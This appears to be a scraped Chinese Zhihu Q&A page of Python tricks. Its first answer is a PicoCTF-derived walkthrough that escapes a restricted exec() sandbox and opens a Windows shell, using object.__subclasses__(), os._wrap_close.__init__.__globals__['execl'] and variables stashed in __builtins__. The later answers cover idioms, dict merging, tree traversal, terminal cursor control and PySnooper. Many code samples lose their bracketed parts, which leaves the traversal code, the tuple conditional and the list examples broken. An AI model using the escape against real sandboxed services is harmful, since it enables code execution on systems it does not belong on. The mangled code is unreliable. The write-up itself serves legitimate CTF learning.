Python 有什么奇技淫巧?
0.这个问题虽说是找寻“奇技淫巧”,但其实是想抛砖引玉1.如果想把自己认为或好玩或强大的python使用技巧拿出来跟大家分享,可否稍微详细的讲解一下 这有一段很简短的 Python 代码。首先说明这段代码是有漏洞的,所以奇技淫巧的并不是它。
这段代码的主要作用是 想要 提供一个安全的沙盒环境,可以安全地调用 exec。Python 中的 exec 能够动态执行 Python 代码,但是很显然如果直接把用户的输入传进 exec,是有非常大的安全隐患的。为了确保安全,这段代码做了这些事:
[*]从 sys 中清除当前已导入的模块
[*]只保留几个必要的函数
[*]清除默认导入的 builtins 模块的
[*]限制输入长度为 50 个字符
这样似乎就只能执行一些基本的算数操作了。
#!/usr/bin/python -u
# task5.py
# A real challenge for those python masters out there :)
# 为 exec 创造一个安全的环境
# 删除当前已加载的模块
from sys import modules
modules.clear()
del modules
# 保留这几个必要的函数和类型
_print = print
_exec = exec
_raw_input = input
_BaseException = BaseException
_EOFError = EOFError
# 清空默认导入的 builtins 模块
__builtins__.__dict__.clear()
__builtins__ = None
# 挑衅!!
_print('Get a shell, if you can...')
while 1:
try:
d = {'x': None}
_exec('x='+_raw_input(">> ")[:50], d)
_print('Return Value:', d['x'])
except _EOFError as e:
raise e
except _BaseException as e:
_print('Exception:', e)现在奇技淫巧开始:假设我们使用的 Python 解释器是 CPython 3.10,你能构造一段输入,绕过这些安全措施,打开一个 Windows 命令行或者 Linux Shell 吗?
感兴趣的话建议自己尝试一下,如果想直接知道答案的话,可以直接往下翻 ↓
<hr/>这道题目来自于 PicoCTF 2013。PicoCTF 是卡耐基梅隆大学主办的、以 Capture The Flag 方式为主的计算机安全竞赛。所谓 Capture The Flag,是指出题人在有漏洞的程序的某处放置一个隐藏的标志,参赛选手必须找出系统的漏洞、突破各种限制,最终获取到隐藏标志,即为得分。
原题目是 Python 2 版本的,我按照 Python 3 的语法稍微改了一下。在 CPython 3.8 和 3.10 上仍然可以获得 Shell,不过解题方式与原题 Python 2 的版本有所不同。
那我们就来看一下,到底如何构造一段输入文本,才能获取到系统 Shell?
首先随便输点东西试试:
PS D:\> python .\eval53.py
Get a shell, if you can...
>> 1
Return Value: 1
>> 1 + 1
Return Value: 2
>> 3 * 14
Return Value: 42
>> * 5
Return Value: 执行这些基本的 Python 语句还是没有问题的。那么为了执行 cmd.exe 或是 /bin/bash,最直接的办法就是用 os 模块了。直接导入一下试试:
>> import os
Exception: invalid syntax (<string>, line 1)
>> __import__(&#34;os&#34;)
Exception: name &#39;__import__&#39; is not defined直接用 import os 肯定不行,因为代码中把他跟 &#34;x=&#34; 拼接了一下,变成了 &#34;x= import os&#34;,存在语法错误。用内置的 __import__ 试一下也不行,因为已经被提前删掉了。
大路被堵死,只好另辟蹊径了。Python 有很强大的反射机制,可以获取到很多看似拿不到的东西,比如:
>> &#34;&#34;.__dir__()
Return Value: [&#39;__new__&#39;, &#39;__repr__&#39;, &#39;__hash__&#39;, &#39;__str__&#39;, &#39;__getattribute__&#39;, &#39;__lt__&#39;, &#39;__le__&#39;, &#39;__eq__&#39;, &#39;__ne__&#39;, &#39;__gt__&#39;, &#39;__ge__&#39;, &#39;__iter__&#39;, &#39;__mod__&#39;, &#39;__rmod__&#39;, &#39;__len__&#39;, &#39;__getitem__&#39;, &#39;__add__&#39;, &#39;__mul__&#39;, &#39;__rmul__&#39;, &#39;__contains__&#39;, &#39;encode&#39;, &#39;replace&#39;, &#39;split&#39;, &#39;rsplit&#39;, &#39;join&#39;, &#39;capitalize&#39;, &#39;casefold&#39;, &#39;title&#39;, &#39;center&#39;, &#39;count&#39;, &#39;expandtabs&#39;, &#39;find&#39;, &#39;partition&#39;, &#39;index&#39;, &#39;ljust&#39;, &#39;lower&#39;, &#39;lstrip&#39;, &#39;rfind&#39;, &#39;rindex&#39;, &#39;rjust&#39;, &#39;rstrip&#39;, &#39;rpartition&#39;, &#39;splitlines&#39;, &#39;strip&#39;, &#39;swapcase&#39;, &#39;translate&#39;, &#39;upper&#39;, &#39;startswith&#39;, &#39;endswith&#39;, &#39;removeprefix&#39;, &#39;removesuffix&#39;, &#39;isascii&#39;, &#39;islower&#39;, &#39;isupper&#39;, &#39;istitle&#39;, &#39;isspace&#39;, &#39;isdecimal&#39;, &#39;isdigit&#39;, &#39;isnumeric&#39;, &#39;isalpha&#39;, &#39;isalnum&#39;, &#39;isidentifier&#39;, &#39;isprintable&#39;, &#39;zfill&#39;, &#39;format&#39;, &#39;format_map&#39;, &#39;__format__&#39;, &#39;maketrans&#39;, &#39;__sizeof__&#39;, &#39;__getnewargs__&#39;, &#39;__doc__&#39;, &#39;__setattr__&#39;, &#39;__delattr__&#39;, &#39;__init__&#39;, &#39;__reduce_ex__&#39;, &#39;__reduce__&#39;, &#39;__subclasshook__&#39;, &#39;__init_subclass__&#39;, &#39;__dir__&#39;, &#39;__class__&#39;]我们通过 &#34;&#34;.__class__,能够获取到 Python 中的字符串类型对象 class str。打印一下它的 __dict__,看看有没有什么可以利用的信息:
>> &#34;&#34;.__class__.__dict__
Return Value: {&#39;__new__&#39;: <built-in method __new__ of type object at 0x00007FFCB5E2BC60>, &#39;__repr__&#39;: <slot wrapper &#39;__repr__&#39; of &#39;str&#39; objects>, &#39;__hash__&#39;: <slot wrapper &#39;__hash__&#39; of &#39;str&#39; objects>, &#39;__str__&#39;: <slot wrapper &#39;__str__&#39; of &#39;str&#39; objects>, &#39;__getattribute__&#39;: <slot wrapper &#39;__getattribute__&#39; of &#39;str&#39; objects>, &#39;__lt__&#39;: <slot wrapper &#39;__lt__&#39; of &#39;str&#39; objects>, &#39;__le__&#39;: <slot wrapper &#39;__le__&#39; of &#39;str&#39; objects>, &#39;__eq__&#39;: <slot wrapper &#39;__eq__&#39; of &#39;str&#39; objects>, &#39;__ne__&#39;: <slot wrapper &#39;__ne__&#39; of &#39;str&#39; objects>, &#39;__gt__&#39;: <slot wrapper &#39;__gt__&#39; of &#39;str&#39; objects>, &#39;__ge__&#39;: <slot wrapper &#39;__ge__&#39; of &#39;str&#39; objects>, &#39;__iter__&#39;: <slot wrapper &#39;__iter__&#39; of &#39;str&#39; objects>, &#39;__mod__&#39;: <slot wrapper &#39;__mod__&#39; of &#39;str&#39; objects>, &#39;__rmod__&#39;: <slot wrapper &#39;__rmod__&#39; of &#39;str&#39; objects>, &#39;__len__&#39;: <slot wrapper &#39;__len__&#39; of &#39;str&#39; objects>, &#39;__getitem__&#39;: <slot wrapper &#39;__getitem__&#39; of &#39;str&#39; objects>, &#39;__add__&#39;: <slot wrapper &#39;__add__&#39; of &#39;str&#39; objects>, &#39;__mul__&#39;: <slot wrapper &#39;__mul__&#39; of &#39;str&#39; objects>, &#39;__rmul__&#39;: <slot wrapper &#39;__rmul__&#39; of &#39;str&#39; objects>, &#39;__contains__&#39;: <slot wrapper &#39;__contains__&#39; of &#39;str&#39; objects>, &#39;encode&#39;: <method &#39;encode&#39; of &#39;str&#39; objects>, &#39;replace&#39;: <method &#39;replace&#39; of &#39;str&#39; objects>, &#39;split&#39;: <method &#39;split&#39; of &#39;str&#39; objects>, &#39;rsplit&#39;: <method &#39;rsplit&#39; of &#39;str&#39; objects>, &#39;join&#39;: <method &#39;join&#39; of &#39;str&#39; objects>, &#39;capitalize&#39;: <method &#39;capitalize&#39; of &#39;str&#39; objects>, &#39;casefold&#39;: <method &#39;casefold&#39; of &#39;str&#39; objects>, &#39;title&#39;: <method &#39;title&#39; of &#39;str&#39; objects>, &#39;center&#39;: <method &#39;center&#39; of &#39;str&#39; objects>, &#39;count&#39;: <method &#39;count&#39; of &#39;str&#39; objects>, &#39;expandtabs&#39;: <method &#39;expandtabs&#39; of &#39;str&#39; objects>, &#39;find&#39;: <method &#39;find&#39; of &#39;str&#39; objects>, &#39;partition&#39;: <method &#39;partition&#39; of &#39;str&#39; objects>, &#39;index&#39;: <method &#39;index&#39; of &#39;str&#39; objects>, &#39;ljust&#39;: <method &#39;ljust&#39; of &#39;str&#39; objects>, &#39;lower&#39;: <method &#39;lower&#39; of &#39;str&#39; objects>, &#39;lstrip&#39;: <method &#39;lstrip&#39; of &#39;str&#39; objects>, &#39;rfind&#39;: <method &#39;rfind&#39; of &#39;str&#39; objects>, &#39;rindex&#39;: <method &#39;rindex&#39; of &#39;str&#39; objects>, &#39;rjust&#39;: <method &#39;rjust&#39; of &#39;str&#39; objects>, &#39;rstrip&#39;: <method &#39;rstrip&#39; of &#39;str&#39; objects>, &#39;rpartition&#39;: <method &#39;rpartition&#39; of &#39;str&#39; objects>, &#39;splitlines&#39;: <method &#39;splitlines&#39; of &#39;str&#39; objects>, &#39;strip&#39;: <method &#39;strip&#39; of &#39;str&#39; objects>, &#39;swapcase&#39;: <method &#39;swapcase&#39; of &#39;str&#39; objects>, &#39;translate&#39;: <method &#39;translate&#39; of &#39;str&#39; objects>, &#39;upper&#39;: <method &#39;upper&#39; of &#39;str&#39; objects>, &#39;startswith&#39;: <method &#39;startswith&#39; of &#39;str&#39; objects>, &#39;endswith&#39;: <method &#39;endswith&#39; of &#39;str&#39; objects>, &#39;removeprefix&#39;: <method &#39;removeprefix&#39; of &#39;str&#39; objects>, &#39;removesuffix&#39;: <method &#39;removesuffix&#39; of &#39;str&#39; objects>, &#39;isascii&#39;: <method &#39;isascii&#39; of &#39;str&#39; objects>, &#39;islower&#39;: <method &#39;islower&#39; of &#39;str&#39; objects>, &#39;isupper&#39;: <method &#39;isupper&#39; of &#39;str&#39; objects>, &#39;istitle&#39;: <method &#39;istitle&#39; of &#39;str&#39; objects>, &#39;isspace&#39;: <method &#39;isspace&#39; of &#39;str&#39; objects>, &#39;isdecimal&#39;: <method &#39;isdecimal&#39; of &#39;str&#39; objects>, &#39;isdigit&#39;: <method &#39;isdigit&#39; of &#39;str&#39; objects>, &#39;isnumeric&#39;: <method &#39;isnumeric&#39; of &#39;str&#39; objects>, &#39;isalpha&#39;: <method &#39;isalpha&#39; of &#39;str&#39; objects>, &#39;isalnum&#39;: <method &#39;isalnum&#39; of &#39;str&#39; objects>, &#39;isidentifier&#39;: <method &#39;isidentifier&#39; of &#39;str&#39; objects>, &#39;isprintable&#39;: <method &#39;isprintable&#39; of &#39;str&#39; objects>, &#39;zfill&#39;: <method &#39;zfill&#39; of &#39;str&#39; objects>, &#39;format&#39;: <method &#39;format&#39; of &#39;str&#39; objects>, &#39;format_map&#39;: <method &#39;format_map&#39; of &#39;str&#39; objects>, &#39;__format__&#39;: <method &#39;__format__&#39; of &#39;str&#39; objects>, &#39;maketrans&#39;: <staticmethod(<built-in method maketrans of type object at 0x00007FFCB5E2BC60>)>, &#39;__sizeof__&#39;: <method &#39;__sizeof__&#39; of &#39;str&#39; objects>, &#39;__getnewargs__&#39;: <method &#39;__getnewargs__&#39; of &#39;str&#39; objects>, &#39;__doc__&#39;: &#34;str(object=&#39;&#39;) -> str\nstr(bytes_or_buffer[, encoding[, errors]]) -> str\n\nCreate a new string object from the given object. If encoding or\nerrors is specified, then the object must expose a data buffer\nthat will be decoded using the given encoding and error handler.\nOtherwise, returns the result of object.__str__() (if defined)\nor repr(object).\nencoding defaults to sys.getdefaultencoding().\nerrors defaults to &#39;strict&#39;.&#34;}从功能上讲这里没什么可以直接利用的信息,毕竟都是些字符串操作。那么我们继续往上找,看一下父类。str 的父类就是 object 了,打印一下 __dict__,似乎也没什么可以利用的。
>> &#34;&#34;.__class__.__base__.__dict__
Return Value: {&#39;__new__&#39;: <built-in method __new__ of type object at 0x00007FFCB5E2B780>, &#39;__repr__&#39;: <slot wrapper &#39;__repr__&#39; of &#39;object&#39; objects>, &#39;__hash__&#39;: <slot wrapper &#39;__hash__&#39; of &#39;object&#39; objects>, &#39;__str__&#39;: <slot wrapper &#39;__str__&#39; of &#39;object&#39; objects>, &#39;__getattribute__&#39;: <slot wrapper &#39;__getattribute__&#39; of &#39;object&#39; objects>, &#39;__setattr__&#39;: <slot wrapper &#39;__setattr__&#39; of &#39;object&#39; objects>, &#39;__delattr__&#39;: <slot wrapper &#39;__delattr__&#39; of &#39;object&#39; objects>, &#39;__lt__&#39;: <slot wrapper &#39;__lt__&#39; of &#39;object&#39; objects>, &#39;__le__&#39;: <slot wrapper &#39;__le__&#39; of &#39;object&#39; objects>, &#39;__eq__&#39;: <slot wrapper &#39;__eq__&#39; of &#39;object&#39; objects>, &#39;__ne__&#39;: <slot wrapper &#39;__ne__&#39; of &#39;object&#39; objects>, &#39;__gt__&#39;: <slot wrapper &#39;__gt__&#39; of &#39;object&#39; objects>, &#39;__ge__&#39;: <slot wrapper &#39;__ge__&#39; of &#39;object&#39; objects>, &#39;__init__&#39;: <slot wrapper &#39;__init__&#39; of &#39;object&#39; objects>, &#39;__reduce_ex__&#39;: <method &#39;__reduce_ex__&#39; of &#39;object&#39; objects>, &#39;__reduce__&#39;: <method &#39;__reduce__&#39; of &#39;object&#39; objects>, &#39;__subclasshook__&#39;: <method &#39;__subclasshook__&#39; of &#39;object&#39; objects>, &#39;__init_subclass__&#39;: <method &#39;__init_subclass__&#39; of &#39;object&#39; objects>, &#39;__format__&#39;: <method &#39;__format__&#39; of &#39;object&#39; objects>, &#39;__sizeof__&#39;: <method &#39;__sizeof__&#39; of &#39;object&#39; objects>, &#39;__dir__&#39;: <method &#39;__dir__&#39; of &#39;object&#39; objects>, &#39;__class__&#39;: <attribute &#39;__class__&#39; of &#39;object&#39; objects>, &#39;__doc__&#39;: &#39;The base class of the class hierarchy.\n\nWhen called, it accepts no arguments and returns a new featureless\ninstance that has no instance attributes and cannot be given any.\n&#39;}
不过注意到 Built-in Types - Python 3.10.2 documentation 中提到:
http://picx.zhimg.com/v2-cd92e749335bf72c898626bf06c59a56_r.jpg?source=1940ef5c
__subclasses__ 能够获取到一个类的所有子类。需要注意的是这个函数并不在我们刚才的__dict__ 列表里面,因为它属于由 CPython 提供的只读属性,这种属性不一定会由 dir 显示出来。
那么在 object 上试一下的话…
>> &#34;&#34;.__class__.__base__.__subclasses__()
http://pic1.zhimg.com/v2-23b9bbb5ae210e2bca99bf6edb93bc29_r.jpg?source=1940ef5c
顿时多了好多类!然而挨个看过去,没有一个是直接跟模块导入或是进程创建相关的。
再次注意到 inspect - Inspect live objects - Python 3.10.2 documentation 中提到:
http://pica.zhimg.com/v2-b2e3e3f5c4e3a0fa2d23e239cc836870_r.jpg?source=1940ef5c
注意高亮的部分,function 中有一个 __globals__ 保存了函数定义时全局空间中的信息,这里很可能有我们需要的模块。这个属性在其他类型上是没有的,比如我们之前已经拿到的 class 、method、slot wrapper 上都是不存在的。那么现在就变成了,怎么从上面那些 class 里面找一个 function 定义出来?写一段脚本来找吧:
# 与题目一致的初始设定
from sys import modules
modules.clear()
del modules
_print = print
_repr = repr
_cls = object.__subclasses__()
_Exception = Exception
__builtins__.__dict__.clear()
__builtins__ = None
for cls in _cls:
for m in cls.__dict__:
if _repr(cls.__dict__).startswith(&#34;<function&#34;):
for k in cls.__dict__.__globals__:
try:
_print(cls.__dict__, k, cls.__dict__.__globals__)
except _Exception as e:
_print(&#34;err&#34;, e)这段脚本会遍历所有的 object.__subclasses__,从中找到 function 类型的实例,并把它的 __globals__ 中的内容遍历打印出来。需要注意的是,由于我们的 __builtins__ 里面缺失了一些基本的内置函数,__globals__ 中有一些值是拿不出来的。
结果有点长我就不贴了,从结果里看虽然没有我们想要的 os 模块,但是有一个类型是 os 模块导出的,叫做 _wrap_close。在这个类型中,_wrap_close.__init__ 函数的 __globals__ 里面有非常关键的 execl/execp 函数!这下连导入 os 模块都不需要了。_wrap_close 是 object.__subclasses__ 里的第 138 项,所以:
>> &#34;&#34;.__class__.__base__.__subclasses__().__init__.__globals__[&#39;execl&#39;](&#34;c:\\windows\\system32\\cmd.exe&#34;, &#34;c:\\windows\\system32\\cmd.exe&#34;)
Exception: type object &#39;_wrap_close&#39; has no attribute &#39;__init&#39;看来事情没这么简单,我们遇到了 50 个字符的长度限制。有什么办法能够解决这个问题吗?
再次注意到文档中 Built-in Functions — Python 3.10.2 documentation 关于 exec 的描述:
http://pica.zhimg.com/v2-b8cd5937bba25d2a2d80968ec4b527ca_r.jpg?source=1940ef5c
代码中传入的 globals 参数(也就是 d)没有设置 __builtins__ 的值:
d = {&#39;x&#39;:None}
_exec(&#39;x=&#39;+_raw_input(&#34;>> &#34;)[:50], d)所以它应该一直指向 builtins 模块的 __dict__,也就是说两次 exec 之间,d[&#34;__builtins__&#34;] 会一直保存下来!再看一下代码中的这两句:
__builtins__.__dict__.clear()
__builtins__ = None__builtins__ 在主模块中默认直接指向的就是 bultins 模块,虽然它将 builtins.__dict__ 清空了,但是这个 dict 本身是无法删掉的。虽然将 __builtins__ 置为了 None,但也不影响 builtins.__dict__。所以我们可以利用 __builtins__ 存储变量。来试一下:
PS E:\> python .\eval53.py
Get a shell, if you can...
>> __builtins__
Return Value: {}
>> a
Exception: name &#39;a&#39; is not defined
>> __builtins__[&#34;a&#34;] = 1
Return Value: 1
>> a
Return Value: 1
>>可以看到我们确实可以利用 __builtins__ 来存储中间变量,以此达到缩短输入字符串长度的问题。最终结果:
>> __builtins__[&#34;a&#34;]=&#34;&#34;.__class__.__base__
Return Value: <class &#39;object&#39;>
>> __builtins__[&#34;b&#34;]=a.__subclasses__()
Return Value: <class &#39;os._wrap_close&#39;>
>> __builtins__[&#34;c&#34;]=&#34;c:\\windows\\system32\\cmd.exe&#34;
Return Value: c:\windows\system32\cmd.exe
>> b.__init__.__globals__[&#39;execl&#39;](c, c)
PS E:\> Microsoft Windows
(c) Microsoft Corporation. All rights reserved.
E:\>http://pic4.zhimg.com/v2-e2b0c126cacf73f0cd9e5197b68918c5.jpg?source=382ee89a
https://www.zhihu.com/video/1487452248641335296
大功告成。如果大家感兴趣,也可以找一下原题,在 Python 2 上试一试,解题的方式与 Python 3 有所不同。
欢迎踏入 CTF 的世界!
<hr/>对了忘记说了,PicoCTF 是主要面向高中生的比赛。
http://pic1.zhimg.com/50/v2-1fffb4e5d06a0846335fa6a8fb017f99_720w.jpg?source=1940ef5c 写过Python,……我便考你一考。条件语句有5种写法,你知道么?
age = 20
# 第一种
msg = &#39;&#39;
if age > 18:
msg = &#39;成年&#39;
else:
msg = &#39;未成年&#39;
# 第二种
msg = &#39;成年&#39; if age > 18 else &#39;未成年&#39;
# 第三种
msg = age > 18 and &#39;成年&#39; or &#39;未成年&#39;
# 第四种
msg = (&#39;未成年&#39;, &#39;成年&#39;)
# 第五种
msg = {True: &#34;成年&#34;, False: &#34;未成年&#34;}
# 来自@王炳明 https://github.com/iswbm/magic-python/blob/master/source/c03/c03_04.rst
# 第六种
msg = &#39;未成年&#39;
# 来自评论区 @李世先
# 第七种
第六种pythonic写法
try:
assert age > 18
msg = &#39;成年&#39;
except:
msg = &#39;未成年&#39;
# 来自 评论区 @天刑
看你们不点赞,便又叹一口气,显出极惋惜的样子。
<hr/>
连接列表
a =
b =
[*a, *b]
合并字典
a = {&#39;a&#39;: 1, &#39;b&#39;: 2}
b = {&#39;c&#39;: 5, &#39;d&#39;: 6, &#39;b&#39;: 3}
{**a, **b}
# python 3.9 有了新操作
a | b
既要对象又要字典
class Dict(dict):
__setattr__ = dict.__setitem__
__getattr__ = dict.__getitem__就可以即使用字典的方法,又使用对象的方法了。
d1 = {&#39;a&#39;: 1, &#39;b&#39;: 2}
d2 = Dict(d1)
d2.a
d2.b = 3
<hr/>一行代码做n叉树遍历
class TreeNode(object):
def __init__(self, x):
self.val = x
self.left = None
self.right = None
class Travel:
# 注意,三个 DFS 算法中,空节点处理为[],而不是
# 有些场景还是需要空节点返回的,灵活去改动
def InOrder(self, root):# LDR
return [] if (root is None) else self.InOrder(root.left) + + self.InOrder(root.right)
def PreOrder(self, root):# DLR
return [] if (root is None) else + self.PreOrder(root.left) + self.PreOrder(root.right)
def PostOrder(self, root):# LRD
return [] if (root is None) else self.PostOrder(root.left) + self.PostOrder(root.right) +
见于:【数据结构5】Tree实现 | 郭飞的笔记
<hr/>
再来一个
控制命令行中的图标
import sys
def clear_traces(): # 清除一行
sys.__stdout__.write(&#39;\033[2K\r&#39;)
def hide_cursor(): # 隐藏光标
sys.__stdout__.write(&#39;\033[?25l&#39;)
def show_cursor(): # 显示光标
sys.__stdout__.write(&#39;\033[?25h&#39;)
def go_up(n=20): # 光标向上移动 n 行
up_command = &#39;\033[{}A&#39;.format(n)
print(up_command)
def flush():
sys.__stdout__.flush()效果是在命令行执行python时,控制bash上的光标。
例子:
http://picx.zhimg.com/v2-c75fac968115fed70747c8b14de4009c_r.jpg?source=1940ef5c
代码见于guofei9987/chrplotlib 谈到奇技淫巧,我认为这款神器当之无愧。
<hr/>在程序开发过程中,代码的运行往往会和我们预期的结果有所差别。于是,我们需要清楚代码运行过程中到底发生了什么?代码哪些模块运行了,哪些模块没有运行?输出的局部变量是什么样的?很多时候,我们会想到选择使用成熟、常用的IDE使用断点和watches调试程序,或者更为基础的print函数、log打印出局部变量来查看是否符合我们预期的执行效果。但是这些方法都有一个共同的弱点--效率低且繁琐,本文就介绍一个堪称神器的Python调试工具PySnooper,能够大大减少调试过程中的工作量。
装饰器
装饰器(Decorators)是Python里一个很重要的概念,它能够使得Python代码更加简洁,用一句话概括:装饰器是修改其他函数功能的函数。PySnooper的调用主要依靠装饰器的方式,所以,了解装饰器的基本概念和使用方法更有助于理解PySnooper的使用。在这里,我先简单介绍一下装饰器的使用,如果精力有限,了解装饰器的调用方式即可。
对于Python,一切都是对象,一个函数可以作为一个对象在不同模块之间进行传递,举个例子,
def one(func):
print(&#34;now you are in function one.&#34;)
func()
def two():
print(&#34;now you are in function two&#34;)
one(two)
# 输出
>>> now you are in function one.
>>> now you are in function two.其实这就是装饰器的核心所在,它们封装一个函数,可以用这样或那样的方式来修改它。换一种方式表达上述调用,可以用@+函数名来装饰一个函数。
def one(func):
print(&#34;now you are in function one.&#34;)
def warp():
func()
return warp
@one
def two():
print(&#34;now you are in function two.&#34;)
two()
# 输出
>>> now you are in function one.
>>> now you are in function two.此外,在调用装饰器时还可以给函数传入参数:
def one(func):
print(&#34;now you are in function one.&#34;)
def warp(*args):
func(*args)
return warp
@one
def two(x, y):
print(&#34;now you are in function two.&#34;)
print(&#34;x value is %d, y value is %d&#34; % (x, y))
two(5, 6)
# 输出
>>> now you are in function one.
>>> now you are in function two.
>>> x value is 5, y value is 6另外,装饰器本身也可以接收参数,
def three(text):
def one(func):
print(&#34;now you are in function one.&#34;)
def warp(*args):
func(*args)
return warp
print(&#34;input params is {}&#34;.format(text))
return one
@three(text=5)
def two(x, y):
print(&#34;now you are in function two.&#34;)
print(&#34;x value is %d, y value is %d&#34; % (x, y))
two(5, 6)
# 输出
>>> input params is 5
>>> now you are in function one.
>>> now you are in function two.
>>> x value is 5, y value is 6上面讲述的就是Python装饰器的一些常用方法。
Pysnooper
调试程序对于大多数开发者来说是一项必不可少的工作,当我们想要知道代码是否按照预期的效果在执行时,我们会想到去输出一下局部变量与预期的进行比对。目前大多数采用的方法主要有以下几种:
[*]Print函数
[*]Log日志
[*]IDE调试器
但是这些方法有着无法忽视的弱点:
[*]繁琐
[*]过度依赖工具
&#34;PySnooper is a poor man&#39;s debugger.&#34;
有了PySnooper,上述问题都迎刃而解,因为PySnooper实在太简洁了,目前在github已经10k+star。
前面花了一段篇幅讲解装饰器其实就是为了PySnooper做铺垫,PySnooper的调用就是通过装饰器的方式进行使用,非常简洁。
PySnooper的调用方式就是通过@pysnooper.snoop的方式进行使用,该装饰器可以传入一些参数来实现一些目的,具体如下:
参数描述None输出日志到控制台filePath输出到日志文件,例如&#39;log/file.log&#39;prefix给调试的行加前缀,便于识别watch查看一些非局部变量表达式的值watch_explode展开值用以查看列表/字典的所有属性或项depth显示函数调用的函数的snoop行
安装
使用pip安装,
pip install pysnooper 或者使用conda安装,
conda install -c conda-forge pysnooper使用
先写一个简单的例子,
import numpy as np
import pysnooper
@pysnooper.snoop()
def one(number):
mat = []
while number:
mat.append(np.random.normal(0, 1))
number -= 1
return mat
one(3)
# 输出
Starting var:.. number = 3
22:17:10.634566 call 6 def one(number):
22:17:10.634566 line 7 mat = []
New var:....... mat = []
22:17:10.634566 line 8 while number:
22:17:10.634566 line 9 mat.append(np.random.normal(0, 1))
Modified var:.. mat = [-0.4142847169210746]
22:17:10.634566 line 10 number -= 1
Modified var:.. number = 2
22:17:10.634566 line 8 while number:
22:17:10.634566 line 9 mat.append(np.random.normal(0, 1))
Modified var:.. mat = [-0.4142847169210746, -0.479901983375219]
22:17:10.634566 line 10 number -= 1
Modified var:.. number = 1
22:17:10.634566 line 8 while number:
22:17:10.634566 line 9 mat.append(np.random.normal(0, 1))
Modified var:.. mat = [-0.4142847169210746, -0.479901983375219, 1.0491540468063252]
22:17:10.634566 line 10 number -= 1
Modified var:.. number = 0
22:17:10.634566 line 8 while number:
22:17:10.634566 line 11 return mat
22:17:10.634566 return 11 return mat
Return value:.. [-0.4142847169210746, -0.479901983375219, 1.0491540468063252]这是最简单的使用方法,从上述输出结果可以看出,PySnooper输出信息主要包括以下几个部分:
[*]局部变量值
[*]代码片段
[*]局部变量所在行号
[*]返回结果
也就是说,把我们日常DEBUG所需要的主要信息都输出出来了。
上述结果输出到控制台,还可以把日志输出到文件,
@pysnooper.snoop(&#34;debug.log&#34;)
http://pic1.zhimg.com/v2-ada210da748b5c9b41a04523ff923129_r.jpg?source=1940ef5c
在函数调用过程中,PySnooper还能够显示函数的层次关系,使得一目了然,
@pysnooper.snoop()
def two(x, y):
z = x + y
return z
@pysnooper.snoop()
def one(number):
k = 0
while number:
k = two(k, number)
number -= 1
return number
one(3)
# 输出
Starting var:.. number = 3
22:26:08.185204 call 12 def one(number):
22:26:08.186202 line 13 k = 0
New var:....... k = 0
22:26:08.186202 line 14 while number:
22:26:08.186202 line 15 k = two(k, number)
Starting var:.. x = 0
Starting var:.. y = 3
22:26:08.186202 call 6 def two(x, y):
22:26:08.186202 line 7 z = x + y
New var:....... z = 3
22:26:08.186202 line 8 return z
22:26:08.186202 return 8 return z
Return value:.. 3
Modified var:.. k = 3
22:26:08.186202 line 16 number -= 1
Modified var:.. number = 2
22:26:08.186202 line 14 while number:
22:26:08.186202 line 15 k = two(k, number)
Starting var:.. x = 3
Starting var:.. y = 2
22:26:08.186202 call 6 def two(x, y):
22:26:08.186202 line 7 z = x + y
New var:....... z = 5
22:26:08.186202 line 8 return z
22:26:08.186202 return 8 return z
Return value:.. 5
Modified var:.. k = 5
22:26:08.186202 line 16 number -= 1
Modified var:.. number = 1
22:26:08.186202 line 14 while number:
22:26:08.186202 line 15 k = two(k, number)
Starting var:.. x = 5
Starting var:.. y = 1
22:26:08.186202 call 6 def two(x, y):
22:26:08.186202 line 7 z = x + y
New var:....... z = 6
22:26:08.186202 line 8 return z
22:26:08.186202 return 8 return z
Return value:.. 6
Modified var:.. k = 6
22:26:08.186202 line 16 number -= 1
Modified var:.. number = 0
22:26:08.186202 line 14 while number:
22:26:08.186202 line 17 return number
22:26:08.186202 return 17 return number
Return value:.. 0从上述输出结果可以看出,函数one与函数two的输出缩进层次一目了然。
除了缩进之外,PySnooper还提供了参数prefix给debug信息添加前缀的方式便于识别,
@pysnooper.snoop(prefix=&#34;funcTwo &#34;)
def two(x, y):
z = x + y
return z
@pysnooper.snoop(prefix=&#34;funcOne &#34;)
def one(number):
k = 0
while number:
k = two(k, number)
number -= 1
return number
one(3)
# 输出
funcOne Starting var:.. number = 3
funcOne 22:28:14.259212 call 12 def one(number):
funcOne 22:28:14.260211 line 13 k = 0
funcOne New var:....... k = 0
funcOne 22:28:14.260211 line 14 while number:
funcOne 22:28:14.260211 line 15 k = two(k, number)
funcTwo Starting var:.. x = 0
funcTwo Starting var:.. y = 3
funcTwo 22:28:14.260211 call 6 def two(x, y):
funcTwo 22:28:14.260211 line 7 z = x + y
funcTwo New var:....... z = 3
funcTwo 22:28:14.260211 line 8 return z
funcTwo 22:28:14.260211 return 8 return z
funcTwo Return value:.. 3
funcOne Modified var:.. k = 3
funcOne 22:28:14.260211 line 16 number -= 1
funcOne Modified var:.. number = 2
funcOne 22:28:14.260211 line 14 while number:
funcOne 22:28:14.260211 line 15 k = two(k, number)
funcTwo Starting var:.. x = 3
funcTwo Starting var:.. y = 2
funcTwo 22:28:14.260211 call 6 def two(x, y):
funcTwo 22:28:14.260211 line 7 z = x + y
funcTwo New var:....... z = 5
funcTwo 22:28:14.260211 line 8 return z
funcTwo 22:28:14.260211 return 8 return z
funcTwo Return value:.. 5
funcOne Modified var:.. k = 5
funcOne 22:28:14.260211 line 16 number -= 1
funcOne Modified var:.. number = 1
funcOne 22:28:14.260211 line 14 while number:
funcOne 22:28:14.260211 line 15 k = two(k, number)
funcTwo Starting var:.. x = 5
funcTwo Starting var:.. y = 1
funcTwo 22:28:14.260211 call 6 def two(x, y):
funcTwo 22:28:14.260211 line 7 z = x + y
funcTwo New var:....... z = 6
funcTwo 22:28:14.260211 line 8 return z
funcTwo 22:28:14.260211 return 8 return z
funcTwo Return value:.. 6
funcOne Modified var:.. k = 6
funcOne 22:28:14.260211 line 16 number -= 1
funcOne Modified var:.. number = 0
funcOne 22:28:14.260211 line 14 while number:
funcOne 22:28:14.260211 line 17 return number
funcOne 22:28:14.260211 return 17 return number
funcOne Return value:.. 0参数watch可以用于查看一些非局部变量,例如,
class Test():
t = 10
test = Test()
@pysnooper.snoop(watch=(&#34;test.t&#34;, &#34;x&#34;))
# 输出
Starting var:.. number = 3
Starting var:.. test.t = 10
Starting var:.. x = 10参数watch_explode可以展开字典或者列表显示它的所有属性值,对比一下它和watch的区别,
#### watch_explode ####
d = {
&#34;one&#34;: 1,
&#34;two&#34;: 1
}
@pysnooper.snoop(watch_explode=&#34;d&#34;)
# 输出
